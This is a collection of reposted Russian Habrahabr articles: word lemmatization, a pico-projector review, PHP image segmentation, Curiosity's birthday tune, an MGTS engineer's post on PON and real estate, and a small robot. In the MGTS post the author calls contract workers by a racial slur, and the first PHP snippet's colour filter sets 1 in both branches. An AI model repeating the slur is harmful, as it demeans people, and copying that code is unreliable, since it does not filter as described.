Текстовый редактор

Лемматизация
Начнем по порядку: лемматизация – это получение начальной формы слова, или, по-другому, леммы. Если нам нужно восстановить начальную форму слова «будланула», у нас в голове сразу возникает слово «будлануть». Однако если попробовать провернуть подобный эксперимент со словом на неизвестном для нас языке, задача быстро перестанет казаться тривиальной.

Когда я учил немецкий язык в институте, для меня было ужасно искать в бумажном словаре слово «gemacht» и не находить это слово. Или найти не то слово и пытаться понять, как оно связанно с другими словами в предложении. А причина в том, что это форма глагола «machen», а не существительное «gemacht».

Признаться, я так и не выучил немецкий язык, зато навсегда запомнил, что словари должны уметь восстанавливать начальную форму слова, и, если это слово есть в словаре, показывать его. Так что, помимо занесенного в таблицу поиска, областью применения лемматизации являются еще и компьютерные словари.

Постановка слова в заданную форму
Обратной задачей является постановка слова в заданную форму. Когда мы пытаемся поставить слово в заданную форму, мы синтезируем речь, то есть получаем текст на определенном целевом языке. Соответственно, эта технология используется в автоматическом переводе и при синтезе искусственной речи.

Получение всех форм слова
Следующая задача — получения всех форм слова — чаще всего используется при поиске. Существует два подхода к индексации текста: первый – сопоставление слова из запроса со всеми формами этого слова в индексе, второй – получение леммы запрашиваемого слова и последующее сопоставление с начальными формами в индексе. В данном случае реализация зависит от специфики решаемой задачи. Может быть, вы пытаетесь проиндексировать весь интернет, а может быть, наоборот, какую-нибудь локальную базу знаний, но вам необходима высокая точность результатов.

Получение грамматического значения слова
Необходимость запроса у модуля морфологии грамматического значения возникает при необходимости понять смысл, который можно изъять из грамматического значения (например, действие перед нами или нет, прошедшее время или настоящее).

Словарность слова
На этом пункте мы уже останавливались раньше, поэтому просто закрепим: для распознавания текста очень важна словарность слова — принадлежит слово языку или не принадлежит.

Исправление слова
При работе с текстовыми редакторами и, тем более, в современных мобильных устройствах при быстрой печати часто делаются опечатки. Раньше для их выявления служила технология Т9, которая по девяти кнопкам восстанавливала символы. Сейчас в смартфонах используется полноценная qwerty-клавиатура, но пальцы часто не попадают по нужным кнопкам, и слово нужно исправлять. Исправление – задача морфологии. Сейчас любой уважающий себя смартфон подскажет вам, как слово пишется на самом деле.

Кроме того, исправление слова используется при индексировании интернета. В случае с вебом производительность становится особенно важной, потому что слова с ошибками встречаются очень часто. Мы не можем найти их в словаре в том виде, в котором их ввел пользователь, но перевести должны, потому что человек, прочитав это слово, понял бы, что имел в виду собеседник. Как говорится, «виласипед» или «велосипед», мопедом он от этого не станет, как ни напиши (кстати, об одной из реализаций «понятливого» спеллчекера можно почитать в этой статье).

Решения задач. Начнем с простого: лемматизация


Вернемся к нашим куздрам. Как нам получить начальную форму от слова «будланула»? Первое, что приходит на ум: меняется только окончание. Почему бы просто не заменять одни окончания на другие с помощью старых добрых регулярных выражений? Кстати, очень много морфологий, которые можно найти в интернете в открытом доступе, основаны именно на регулярных выражениях. Замена -ла в конце на -ть в нашем случае прекрасно работает: «будланула» на «будлануть». Однако стоит копнуть чуть глубже, и окажется, что работает далеко не всегда.

Подводные камни: омонимия

Омонимия – это совпадение форм разных слов. Более того, бывает так, что совпадают две формы одного и того же слова, а бывает – разных слов, как в нашем примере. «Стали» – это глагол прошедшего времени множественного числа или это множественное число от слова «сталь». Какая начальная форма: «стать» или «сталь»? Эта проблема не может быть решена на уровне морфологии: морфология рассматривает отдельное слово вне контекста, поэтому, какие методы ни применяй, омонимию не разрешишь. Но самое интересное, что даже на следующих уровнях, на синтаксическом, а порой и на семантическом, не всегда возможно разрешить омонимию. Приведенный выше расхожий пример – яркое тому подтверждение.

Как будто этого мало

Есть и другое возражение: не все слова употребляются во всех формах. Если мы из перехода «кружиться» – «кружить» вынесем такое правило, что -ться следует заменять на -ть, то слово «казаться» мы должны будем заменить на слово «казать». Но такого слова в русском языке нет.

Все сложно
Таким образом, получается, что если вам нужна дешевизна морфологии — например, вы проиндексировали большую базу, поискали по ней, и вас устраивает качество поиска, вы, конечно, можете остановиться на таком нулевом приближении лемматизации, но для более серьезных лингвистических технологий этой точности недостаточно и нужно делать что-то еще.

В активном поиске
О том, что же еще мы делаем, как храним то, что у нас получается, и какие задачи компьютерной лингвистики до сих пор ждут своего решения, будет рассказано в следующей статье.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Обзор пикопроектора Aiptek PocketCinema V60: 60 дюймов, недорого

Как говорила одна умная черепаха, случайности не случайны. Вот и мне, в период поиска нового телевизора, волею судеб удалось близко познакомиться с весьма интересной альтернативой «голубому экрану». Большая часть населения (как и я до недавнего времени) вообще мало знает о возможностях проекторов. Сразу думается, что «кажут» они сугубо в темноте, а источники контента и вовсе представляются смутно – наверное, максимум подключение флешки или связь по HDMI с компьютером. Развеять эти стереотипные заблуждения мне помог пикопроектор Aiptek PocketCinema V60.



Сам термин «пикопроектор» интернет-магазины не жалуют, предпочитая привязывать оные устройства к понятному обывателю термину «портативный». Этим, собственно, все и сказано – подразумевается возможность автономной работы и компактные размеры, дабы аппарат можно было без проблем использовать в командировке и разъездах по клиентам. Последнее пригодится всевозможным представителям компаний, «полевым» менеджерам и т.д. И начинает казаться, что пикопроектор – инструмент сугубо для, скажем так, «рабочего» применения, но никак не домашнего.

Еще пару недель назад я преспокойно размышлял о покупке телевизора, вообще не задумываясь о проекторах. Однако после посещения бывшей работы на столе у одного из менеджеров стало на два девайса меньше, а у меня дома появились Aiptek PocketCinema V60 и Aiptek PocketCinema V100. Про вторую модель я расскажу чуть позже, так как заинтересовала она меня гораздо меньше в сравнении с «шестидесяткой».

Комплект поставки

Aiptek PocketCinema V60 предлагается в умеренных размеров коробке с белым фоном, что не самым лучшим образом сказывается на «хранибельности» упаковки. Изначально коробка запечатана в полиэтилен, потому и сохраняет товарный вид на пути с завода и до дома покупателя. Сбоку приведена пара диаграмм, чья идентификация вызвала у меня некоторое затруднение – то ли там говорится про саму Aiptek, то ли…





Внутри обнаружились кабель HDMI-HDMI, OTG(!), microUSB, пульт, а также зарядный блок с двумя съемными вилками.









С учетом портативного статуса устройства логичным решением стало приложение в виде чехла. Вещица вышла отличная, на ощупь весьма и весьма приятная. Правда, начинаешь думать – не нужна ли защита самому чехлу. Замечу, что, помимо проектора, в чехле могут поместиться кабели OTG и microUSB. Да, хотелось бы видеть пространство для полного набора аксессуаров, но это была бы уже «совсем другая история».





Гарантия у Aiptek – международная, в гарантийной книжке условия изложены на 10 языках. Мне понравилась забавная деталь в тексте: «В маловероятном случае подтверждения какого-либо дефекта…». Смайл, да и только. К сожалению, на русскоязычном сайте Aiptek я так и не нашел сведения о гарантийных центрах компании в СНГ – видимо, в «маловероятном» случае первым делом придется писать на электронную почту, указанную в гарантийной книжке.





Последней в списке комплектации идет грамотно составленная инструкция – я уже успел отвыкнуть от подобных «книг» после куцых мануалов для планшетов и смартфонов. На 19 страницах подробно излагаются все аспекты работы проектора, что не может не радовать.

Внешний вид, разъемы и элементы управления

Габариты – моя самая любимая сторона проектора. По размерам Aiptek PocketCinema V60 напоминает слегка укрупненным пульт от телевизора: 190 x 165 x 80 мм, вес – всего 190 г. Примерно столько же весит какой-нибудь Nokia Lumia 920 или Samsung Galaxy Note II. Продолговатая форма – на мой взгляд, большой плюс. Проектор без проблем можно положить во внутренний карман пиджака/куртки.





Основная часть устройства выполнена из обычного, скорее матового, пластика. Маркость умеренная, периодически протирать корпус придется. Интересно, что в модели V100 как раз использован более практичный софттач-пластик. Тыльная и фронтальная панели представлены глянцем со всеми вытекающими последствиями. Это не сильно огорчает, так как за переднюю и заднюю части проектора браться нет особой нужды. Сборка выполнена на крепкую четверку по пятибалльной шкале. При сдавливании корпус способен чуть слышно похрустывать, зато никаких люфтов не наблюдается.

На верхней части проектора располагается динамик и набор сенсорных клавиш. Именно сенсорный вариант был выбран не спроста. В силу легкости проектора во время презентации его запросто можно сдвинуть – если бы мы имели дело с обычными кнопками. Все клавиши обладают подсветкой. Не слишком удобно то, что подсветку никак нельзя отключить.





По правому торцу находится колесико фокусировки и «прохладительные» решетки.



С противоположной стороны – переключатель управления питанием, а также блокировки клавиш – чтобы случайно не сделать «чего» во время просмотра. Здесь же находятся «кружок», совмещающий выход AV и разъем для наушников/колонок, еще одна решетка и ИК-порт.





С фронта на нас смотрят вентиляционные прорези и объектив. Причем дополнительной защиты объектива я не обнаружил ни в одном из двух проекторов, хотя я бы от оной не отказался.





Настоящий разгул разъемов виден на тыльной панели: слот для карточек microSD, разъемы DC, HDMI и microUSB. Таким образом, проектор фактически охватывает почти все популярные носители информации. Подключаем флешку через OTG, вставляем карточку из смартфона, напрямую соединяем с компьютером… Забегая вперед, скажу, что я практически все время пользовался лишь HDMI – очень удобно оперативно подключать компьютер к проектору и смотреть на полстены новый эпизод сериала.



Внизу по кругу снова видим прорези, а рядом – разумно предусмотренное отверстие для навинчивания на штатив. Тут же находится мини-подставка, если нужно слегка приподнять картинку.





В работе

В проекторе предусмотрено 2 Гб внутренней памяти – аккурат для одного фильма и подборки музыки и документов. При подключении к компьютеру проектор распознался без вопросов, заодно отобразив вставленную карту microSD.

Функционирует проектор с негромким шумом, создаваемым внутренним вентилятором. В принципе, если сосредоточиться – звук дает о себе знать. Но за время просмотра фильмов гудение ни разу не обращало на себя внимание, хотя проектор находился на расстоянии менее метра от меня.

Сразу стоит сказать, что в силу моих фотографических увлечений весьма кстати под рукой был штатив, на нем и устанавливался проектор. Цена вопроса – 20-30 «вечнозеленых». Взамен – предельная гибкость регулировки положения проектора, вплоть до вертикального с «вещанием» на потолок.

По части быстродействия непосредственно в главном меню проектор работает с нормальной скоростью, а вот навигация по файлам происходит с некоторой задержкой. Итак, стартовое окно предлагает вкладки по типу контента, общий файловый менеджер и переход к настройкам. Тем временем в верхнем правом углу отображается статус батареи – уровень заряда или идентификатор подключения к сети. Тут же отображаются подключенные источники – карта памяти или флешка. Если проектор работает автономно, на «издыхании» прямо по центру экрана демонстрируется крупный красный значок разряда.



Пунктов настроек совсем немного:

Яркость. Расширенный режим (50 лм, 60 мин от батареи), обычный (40 лм, 80 минут) и режим ECO (30 лм, 100 мин). Я совершал просмотр на максимальной яркости и могу подтвердить цифры, приведенные в инструкции, – просмотр с использованием встроенного динамика длится примерно один час.



Чувствительность клавиш. Три уровня чувствительности.



Язык. 13 языков на выбор, включая русский.

Память. Выбор источника памяти, в раскрывающемся списке показываются доступные варианты. Увы, одновременно «обрабатывать», скажем, внутренний контент и материалы на карте памяти проектор не умеет.



Автовыключение. Автоматическое выключение через заданный период времени – 1 / 3 / 5 / 10 / 20 / 30 минут.

Зарядка мобильника. Да, проектору по силам превратиться в портативный аккумулятор и отдать подключенному устройству свои 3 000 мАч – хватит на одну-полторы зарядки какого-нибудь флагманского смартфона.

Система. Сброс настроек к заводским, установка обновления прошивки и «подробная» информация о проекторе (на деле – только версия прошивки).

Хотел бы сделать небольшое отступление. Несмотря на то что у проектора есть встроенный аккумулятор, всего час вещания на максимальной яркости – показатель не самый лучший. Поэтому в зависимости от обстоятельств вполне может пригодиться внешний источник питания. Я проверил совместимость Aiptek PocketCinema V60 с Lexand LPB-52W. Ранее в нашем блоге обозревалась версия Lexand LPB-78W. Так вот, спешу огорчить – зарядка с подключением через порт microUSB не поддерживается.

Изображение

Параметры «зрительной составляющей» проектора следующие: оптика DLP, разрешение 640 х 480 точек, контрастность 500:1, размер картинки 15-152 см (6-60 дюймов), проекционное расстояние 2-200 см (8-79 дюймов).

Пожалуй, следует сразу остановиться на качестве изображения. При задернутых шторах смотреть фильм или документы вполне реально и днем. Но лучше, конечно, дождаться наступления глубокого вечера или ночи. Яркость и контрастность таковы, что лично я никакого дискомфорта не испытывал. С другой стороны, когда в роли источника картинки подключался планшет, наглядная разница удручала. В конце концов, чего вы ждали от 50 лм? Подытожу так – смотревшая со мной фильмы жена высказывалась в отношении проектора исключительно положительно, «добавить» яркости или насыщенности цветов не требовала.



Признаюсь, исключительно белой поверхностью для просмотра я не заморачивался. Обои в квартире достаточно светлые, чтобы делать умеренно «мешающий» фон. Был опробован просмотр на белом потолке – смотрится замечательно, только кушать при этом нечто серьезнее попкорна затруднительно. Не говоря о глотке чего-то прохладительного.



Разрешение невелико – тут уж ничего не попишешь. Но, опять же, при просмотре фильмов на это не обращаешь внимания. Зато когда выводишь картинку с компьютера, виднеются лишь расплывчатые очертания букв. Впрочем, мне это не помешало открыть браузер, зайти на сайт ТНТ и запустить серую «Интернов».

К слову, при попытке использовать в качестве источника изображения планшет в системном меню Android картинка сопровождалась какими-то мелькающими полосками-помехами в левой части экрана. При полноэкранном же режиме просмотра «Интернов» через браузер была видна откровенная рябь.

Просмотр контента

Заявлена поддержка:

фото: JPEG, JPG, BMP;
видео: AVI, MOV, MP4, MPG;
документы: PPT, DOC, XLS, PPTX, DOCX, XLSX.

Для теста видео я воспользовался набором IXBT, за сим излагаю результаты:

watch-1920x1080-60p.mp4 – отлично
watch-1920x1080-50p.mp4 – отлично
watch-1920x1080-30p.mp4 – отлично
watch-1920x1080-25p.mp4 – отлично
watch-1920x1080-24p.mp4 – не воспроизводится
watch-1280x720-60p.mp4 – не воспроизводится
watch-1280x720-50p.mp4 – не воспроизводится
watch-1280x720-30p.mp4 – отлично
watch-1280x720-25p.mp4 – отлично
watch-1280x720-24p.mp4 – отлично

Результат, на мой взгляд, хороший. Дополнительно я «прогнал» рандомную подборку собственных HD- и Full HD-клипов, а также фильмов качества от DVDrip до 1080p. Мои файлы воспроизводились без проблем как с картинкой, так и со звуком.

Обратимся к офисным документам. Здесь мне было интереснее всего посмотреть, насколько хватает четкости экрана, если тому же представителю компании придется демонстрировать презентацию. Файл PowerPoint весом в 11 Мб проектор открыл за 3 секунды. Кадры сменялись отнюдь не мгновенно. Точнее, в основном задержек не было, но нередко нужно было ждать по 2-3, а то и 5-6 секунд. При просмотре слайдов в обратном порядке задержки доходили до 4 секунд.

Что касается читаемости – отлично просматривался текст 18 размера, проблематичным, но более-менее различимым выглядел 13 размер.

Файл с моей дипломной работой открылся практически мгновенно, проектор четко реагировал на каждое нажатие пульта и мгновенно менял страницы. Проблем в отображении формул, таблиц и изображений не замечено. Правда, прочитать я ничего не смог… Пока не воспользовался зумом. Как выяснилось, присутствует 4 степени увеличения. И на максимальной, вмещающей примерно треть страницы, все отлично читалось при исходном 12 размере. Проба запуска журналов и книг в PDF показала, что со скоростью открытия и листания – полный порядок, но прочитать что-либо затруднительно.

Напоследок я опробовал просмотр фотографий с разрешением 4 928 х 3 264 пикселя. Между сменой кадров проходило примерно 2 секунды, четкость картинки была далека от идеала.

Вывод

Пока я не наблюдаю данное устройство в отечественной рознице, «за бугром» ценник находится в районе $320. В России продается Aiptek PocketCinema V100, и цена его практически не отличается от того, что я видел по зарубежным интернет-магазинам. Поэтому есть вероятность, что и Aiptek PocketCinema V60 не выйдет за приведенный предел.

Данный проектор после первого же включения я активно рассматривал в качестве альтернативы телевизору. Или, скорее, просто «большому экрану» – ТВ я не смотрю уже давно. И попадание ко мне Aiptek PocketCinema V60 совпало с желанием приобрести новый телевизор. С одной стороны – единовременная трата порядка 32 000 рублей (на выбранную модель), с другой – в однокомнатной квартире и без того уже хватает вещей. А тут – карманная вещица, да еще и умеренные деньги. В общем…

Особых альтернатив я почему-то не нашел. Если смотреть по цене, то до 12 000 рублей я вижу «полноразмерные» модели с серьезными вопросами к набору разъемов, а также не слишком высоким разрешением – WVGA. Если же разрешение составляет порядка 1024 x 768 точек, то срок службы лампы упирается эдак в 6 000 часов – против 20 000 часов у Aiptek PocketCinema V60. Я попробовал обратиться к «Яндекс.Маркету», указав минимум 18 000 часов, наличие HDMI и разрешение 800 x 600 или 858 x 600 – в ответ получил 8 моделей. Из них три есть в продаже по цене от 17 325 рублей.

Если я вдруг что проглядел – буду благодарен на указание. Но при этом стоит помнить, что за пределы 10-12 тысяч рублей мы не выходим.

Коротко о главном. Мне не понравилось, что проектор далеко не всегда реагировал на пульт, хотелось бы видеть чуть более быструю навигацию по файлам. Касательно яркости и разрешения – их было бы неправильно относить к недостаткам, с учетом цены. Скажу так – демонстрируемое изображение хорошо подходит для видео, в отношении текста есть смысл использовать проектор при размере шрифта от 14-15. Для презентаций я бы все-таки не стал использовать Aiptek PocketCinema V60 как автономную единицу. Хотя если выводить картинку с нетбука или планшета – это совсем другое дело.

P. S. Напоследок замечу, что, согласно инструкции, Aiptek PocketCinema V60 может выступать в роли проектора для смартфона. Конкретно упомянуты iPhone 5 и Samsung Galaxy S III. Подозреваю, что и с Galaxy S IV проблем не возникнет.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Пример сегментации изображений средствами PHP

Добрый день,
довольно редко, но все же встает вопрос о необходимости в автоматическом режиме делить изображение на логические фрагменты. Если вы ограничены только средствами , то задача становится немного трудней, но все же решаема.
В данной статье я рассмотрю частный случай распознавания образов, ориентированный на не слишком изощренную публику.
В статье используются примеры с одного из сайтов с явным указанием , сайт не мой, изначально не было мыслей писать статью.

Итак, рассмотрим исходные данные


image

Прямоугольные картинки разного размера и пропорций, с белым фоном, на которых изображены фигурки киндер сюрприза и water mark, который иногда касается фигурок. Задача — получить картинки фигурок без water mark'a

Изображения довольно простые, поэтому из всего спектра возможных вариантов (ссылки указаны в конце статьи) разумно применитьметод разрастания областей. Его суть в том, что мы первоначально тыкаем в произвольную точку и сравниваем цвет соседних пикселей, в нашем случае критерий схожести — цвет не должен быть белым. Если цвет не белый, мы запоминаем координаты пикселя и сравниваем его соседей, таким образом наша область расползается, пока не будет достигнут край сегмента. Затем мы тыкаем в следующую точку и так далее. Всем понятно, что тыкать совершенно рандомно, это не самый оптимальный путь так как можно долго перебирать пустые пиксели. Этот способ называют еще метод выжженной земли.

Интерация 1. Выбор не белых областей

На этом шаге мы получаем высоту и ширину исходной картинки и в двойном цикле попиксельно считываем цвет. Все данные заносим в двойной массив, если пиксель белый ставим 0, если не белый, ставим единичку. Выводим данные на экран для наглядности и что бы проверить, не ошиблись ли мы.

image

PHP код
<code class="php">$path = '../images/series/9/1.jpg';
$size = getimagesize($path);
$img = imagecreatefromjpeg($path);

$x = 1;
$y = 1;
$color = array();
for ($i = 1; $i < $size[0] * $size[1]; $i++) {

    $color_index = imagecolorat($img, $x, $y); //16777215
// делаем его удобочитаемым
    $color_tran = imagecolorsforindex($img, $color_index);

    if (($color_tran['red'] == 0 && $color_tran['green'] == 0 && $color_tran['blue'] == 0)
            or
            ($color_tran['red'] <= 255 && $color_tran['red'] >= 235 &&
            $color_tran['green'] <= 255 && $color_tran['green'] >= 235 &&
            $color_tran['blue'] <= 255 && $color_tran['blue'] >= 235)
            or
            ($color_tran['red'] >= 190 && $color_tran['red'] <= 230 &&
            $color_tran['green'] >= 225 && $color_tran['green'] <= 245 &&
            $color_tran['blue'] >= 245 && $color_tran['blue'] <= 255)
    ) {
          $color[$x][$y] = 1;
    } else {
        $color[$x][$y] = 1;
    }

    $x++;
    if ($x > $size[0]) {
        $x = 1;
        $y++;
    }
}
</code>

В приведенном коде отбрасывается соседний пиксель если он близок к белому, так как на входе у нас jpg не самого лучшего качества.

Закрасим теперь полученные области на исходном изображении.

image

Как видно сейчас наш алгоритм цепляет кусочки мусора (поэтому в вышеприведенном коде и есть фильтрация по цвету)

Ошибочный подход, попытка выделения граничных областей сегментов

У каждого из сегментов можно определить его граничные точки, для границы сегмента с левой стороны это будут точки у которых нет цветного пикселя с лева, аналогичным образом для верхней, нижней, правой границы.
Пробуем реализовать

image

Шлифуем

image

Еще шлифуем, на следующей картинке уже более-менее приемлемый результат, хотя все еще захвачено много пикселей по ошибке

image

Теперь если мы закрасим все цветные точки внутри данных ограничений, то получим в результате картинку, на которой уже можно понять, что это смурфы)

image

Со стороны человеческого взгляда эти сегменты уже можно однозначно разделить, но со стороны нашего алгоритма это все еще массив единичек и ноликов, а так же массив ноликов и единиц – только границ сегментов (но сейчас это все еще 1 массив и основной вопрос в том, как разделить его в соответствии с сегментами).
На исходном изображении можно видеть явные белые пробелы между сегментами, попробуем разделить сегменты по принципу: «Если у нас есть большие разрывы (больше чем N) между закрашенными сегментами, то делим пиксели в основном массиве по левую и правую сторону от разрыва».

image

image

Далее таким же образом мы можем сделать горизонтальные разрывы, но их сделать сложнее из-за надписи по центру картинки.
Но на этом моменте я понял, что двигаюсь не в том направлении, поэтому закончил данные эксперименты.
Итак, возвращаемся к исходам – у нас есть большой массив единиц – цветные пиксели, как их разделить на сегменты?

Метод разрастания областей

Краткое описание дано выше (в начале статьи), поэтому приступим сразу к делу.

image

Поджигаем смурфа, ясно, что весь процесс идет через рекурсию, раскрасим блоки интераций в свои цвета.

image

PHP код
<code class="php">function nburn($ret, $color, $img, $col = false) {
    $ret_arr = array();
    foreach ($ret as $k => $v) {
        foreach ($v as $k2 => $v2) {
            $ret_arr['numb'] = get_nearleast($color, $k, $k2);
            $stop = false;
            if (count($ret_arr['numb']) > 0) {

                if (count($ret_arr['numb']) == 1) // 1- потому что только точка сама возвращается
                    $stop = true;
                else
                    $toys[] = array();
            }
            if (!$stop) {
                while (count($ret_arr['numb']) > 0) {
                    $x = key($ret_arr['numb']);
                    $y = key($ret_arr['numb'][$x]);
                    $toys[key($toys)][$x][$y] = 1;

                    unset($ret_arr['numb'][$x][$y]);
                    if (count($ret_arr['numb'][$x]) == 0)
                        unset($ret_arr['numb'][$x]);
                    unset($color[$x][$y]);


                    // Берем следующий элемент
                    $x = key($ret_arr['numb']);
                    if ($x == "")
                        break;
                    $y = key($ret_arr['numb'][$x]);
                    $near = get_nearleast($color, $x, $y);
                    foreach ($near as $f => $g) {
                        foreach ($g as $f2 => $g2) {

                            $ret_arr['numb'][$f][$f2] = 1;
                        }
                    }
                }
                next($toys);
            }
        }
    }

    return $toys;
}
</code>

С помощью данной функции массив с пикселями разбивается на множество под массивов (многомерный массив). Каждый под массив соответствует одному сегментированному изображению. Далее, анализируя полученные под массивы мы можем удалить самый широкий массив, который соответствует надписи.
Всем известный пример, я думаю все угадали персонажа.

image

Тем не менее, иногда алгоритм срабатывает неверно. Например в следующей картинке первая фигурка разделена на две из-за слишком белого предмета в руках персонажа. В таких случаях нужна либо более тонкая настройка по отсеиваемым цветам, либо ручная корректировка.

image

Размещенный код писался для себя, поэтому, скорее всего, есть более элегантные решения.
Ссылки по теме:

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Марсоход Curiosity спел «Happy Birthday» сам себе



Сегодня на Хабре появилась интересная статья — итог проделанной марсоходом Curiosity работы (за год). Кроме того, на днях была опубликована и заметка с видео от NASA, где год работы марсохода был сжат до двух минут. Ну, а в честь дня рождения ровера инженеры NASA придумали еще одну интересную вещь: настроили систему анализа почвы таким образом, чтобы та воспроизвела мелодию «Happy Birthday» для всех желающих, кто может слышать звук на Марсе.

Понятно, что система анализа почвы не оснащена динамиком, поэтому мелодия воспроизводится мотором, способным издавать довольно громкие звуки на определенных частотах. Обычно мотор используется для перемещения почвы в анализатор. Но сейчас — система используется для целей, которые нельзя назвать практичными.

Вообще говоря, воспроизведение «Happy Birthday» почему-то теперь требует лицензии от Warner Music, но на Марсе судов нет. Хотя судебный иск можно попробовать отправить с новым марсоходом, который полетит на Красную планету уже через несколько лет.


Кстати, первый коммент в первоисточнике новости порадовал:

“Music brings us all together!” she says. Warner Music responds with YouTube take-down.

Via theverge

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Зачем МГТС двигает PON

Здравствуйте, я инженер МГТС и меня очень заинтересовал пост об уязвимостях в Wi-Fi роутерах, используемых для абонентов по технологии PON. Поскольку новые пользователи не могут писать комментарии, пишу сразу пост со своими соображениями по этой теме.

Сразу хочу сказать, что PONом я по своей работе (по счастью) не занимаюсь, но зато имею возможность пообщаться с теми людьми, которые с ним связаны. Обязательно передам им информацию из поста и попрошу высказать свои соображения. Правда, есть серьёзные опасения, что результат будет незначительный. Китайское клиентское «железо» закупается вагонами, конфигурация заливается конвейерным способом, а включением абонентов занимаются «негры», то есть, извините, представители подрядных организаций, причём за такие деньги, за которые ни один штатный сотрудник даже с места не сойдет.

Поэтому хочется коснуться немного другой темы. Зачем вообще МГТСу нужен этот PON со всей его дороговизной и ненадёжностью? Почему такая истерия с этим всем? Да, прогрессивная технология, да, хорошая скорость и конкурентные преимущества. Но, по моему мнению, корень немного в другом. Он имеет название и юридическое лицо — ЗАО «МГТС-недвижимость».

Информации про эту компанию мало, о её создании в прошлом году упоминали вот такие небольшие заметки. А между тем с момента создания эта компания стала одним из крупнейших владельцев недвижимости в Москве! Миллион квадратных метров, это, знаете ли, не шутки. На первом месте по объёму — Мега с Икеей, а у них всего два. Компании «МГТС-недвижимость» принадлежат все здания АТС в Москве, а это несколько сотен капитальных зданий. Большинство из них — каркасный железобетон, шесть этажей по пять метров, из которых легко делается двенадцать обычных этажей. Грех не воспользоваться таким ресурсом при нынешних ценах на недвижимость. Тем более что истинный владелец всего МГТСа (а также МТСа, Башнефти и прочих газет-пароходов) — АФК-Система давно мечтает передвинуться с 28-го места в рейтинге владельцев московской недвижимости куда-нибудь повыше.

Однако есть небольшая неприятность, большую часть здания занимают эти противные телефонные станции с их работниками. Однако это проблема решаемая. Оборудование большей частью устаревшее, его давно уже надо было менять. Процесс перехода на «цифру» начался ещё при СССР, с традиционным перерывом на 90-е, но из-за огромных объёмов и непрерывного прогресса он закономерно отстаёт. Ещё совсем недавно в некоторых местах на АТС можно было найти исправное оборудование на радиолампах! Однако сейчас появился дополнительный стимул. Тот объем оборудования, который 40 лет назад занимал пять этажей, уже 20 лет назад умещался на два, а сейчас — в одну комнату.

Процесс переоборудования станций вовсю идёт. Одной из первых начали разбирать АТС-921, по адресу Новый Арбат, д.2 (что неудивительно). Часть зданий переоборудуют в гостиницы, например. Причем эти гостиницы уже давно работают. На одной из АТС в районе Нагорной в бывшем автозале стоят плотными рядами нары для гастарбайтеров…

Честно говоря, я раньше не представлял масштабов трагедии. Ну, думал, перенесут всё оборудование на первый этаж, как уже делали, а остальное — под офисы, пёс с ним. Но сейчас всё чаще слышу от осведомленных людей, что МГТС вообще планирует отказаться от зданий АТС! Полностью! Конечно, формально они уже год как не принадлежат оператору, но пока еще там осталось главное — кроссы.

Что такое кросс? Это помещение на первом этаже, куда приходят все медные кабели района. Каждая квартира имеет прямое соединение через пару медных проводов с кроссом. Раньше это и было главным преимуществом МГТС, поскольку для включения быстрого интернета через ADSL не надо ничего строить, надо всего лишь поставить модемы с двух сторон, упрощенно говоря. Сейчас, к примеру, в бешеных темпах делается видеонаблюдение по всему городу и на избирательных участках. Это, собственно, делает МГТС по старой меди. Но медь уже не в моде, в моде оптика. Поэтому процесс ухода со старой схемы идёт вовсю. Например, вы же слышали, что МГТС предлагает по ADSL какие-то очень большие скорости, 10 МБит/с, 20 МБит/с? На самом деле через простую медную пару, даже если кабель проложен не при Хрущёве, а при Брежневе, столько просто не пройдет. Секрет в том, что до РШ (распределительный шкаф дома) интернет идет по оптике, возле РШ стоит DSLAM, а по технологии ADSL работает только короткий отрезок, не дальше чем до соседнего подъезда и на нужный этаж. При такой схеме никакая АТС уже не нужна, достаточно дотянуть оптику до узла включения в интернет, которых может быть мало и которые гораздо компактнее.

Что в этом плохого? Ну, блэкауты, например. На прошлой неделе пропадало электричество на северо-востоке Москвы, без питания остались Медведково, Свиблово и Бабушкинское. Питание подали, а вот домашний интернет МГТС заработал далеко не сразу, потому что множество DSLAMов просто зависли. Несколько десятков домов. Инженеры потом несколько дней ездили по шкафам перегружать

В общем, мне очень жаль былой надежности телефонной сети. Когда-то каждая АТС была стратегическим объектом, у каждого работника станции был именной противогаз, а весь подвал здания занимала оргомная батарея аккумуляторов. Даже при полном отключении всего электропитания в городе связь продолжала работать несколько часов. А после памятного блэкаута 2005 года возле основных телефонных узлов поставили дополнительные дизель-генераторы. Кстати, помните что тогда было? Отключилась добрая половина Москвы, в том числе станция М9 на улице Бутлерова, где находится один из главных узелов обмена трафика России и сервера крупнейших местных интернет-ресурсов. Даже на севере, где было питание, интернет был скорее мёртв, чем жив.

Теперь при новых блэкаутах, которые попросту неизбежны, телефонной связи, не говоря уже об интернете, не будет ни у кого. Да, кто-то купил бесперебойник домой, некоторые узлы имеют резервные батареи, но работающей сетью то что останется уже не назовёшь. А возвращаясь к нашим PONам нельзя не заметить, что топология «дерево» этой перспективной оптической сети является самой ненадежной из возможных вариантов, пучок оптических сплиттеров делает невозможным определение места обрыва кабеля при помощи оптического рефлектометра, не говоря уже о других недостатках.

Так что лично я постараюсь как можно дальше держаться от PON и как клиент, и как специалист (кстати, скидок за домашний телефон мне никаких не предлагают и без колебаний отключают его в случае задержки оплаты). Но старой сети всё равно уже не будет. Для самых упорных клиентов в подвале дома поставят оборудование, которое будет выдавать традиционный аналоговый сигнал, а всю медь вытащат из канализации сдадут в металлолом.

Что вы там говорите, 3 миллиона абонентов? По сколько они платят, по пятьсот рублей в месяц? А некоторые и того меньше. Только подумайте, чистая прибыль ОАО «МГТС» за 2012 год — 9 с половиной миллиардов рублей, а активов у ЗАО «МГТС-недвижимость» по нынешним расценкам — приблизительно на 140 миллиардов!

Ребята, какая связь? Связь — это не актуально. Освободите помещение, пожалуйста.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


STAR: миниатюрный робот-вездеход для офисных зданий



Собственно, миниатюрный робот, о котором пойдет речь в этой заметке, может передвигаться не только в офисных зданиях, но и вообще во многих местах со сложным рельефом. Такой робот идеально подходит на роль шпиона, и это можно понять, посмотрев видео, размещенное ниже. Что интересно, разработали это устройство студенты UC Berkeley, и большая часть робота (за исключением электронной составляющей) распечатана на 3D принтере.

Название робота, STAR, это аббревиатура, полное имя — Sprawl Tuned Autonomous Robot. Робот может передвигаться очень быстро, кроме того, он способен пролезать под дверью, а также преодолевать разного рода препятствия. «Поведение» робота очень похоже на поведение некоторых насекомых.

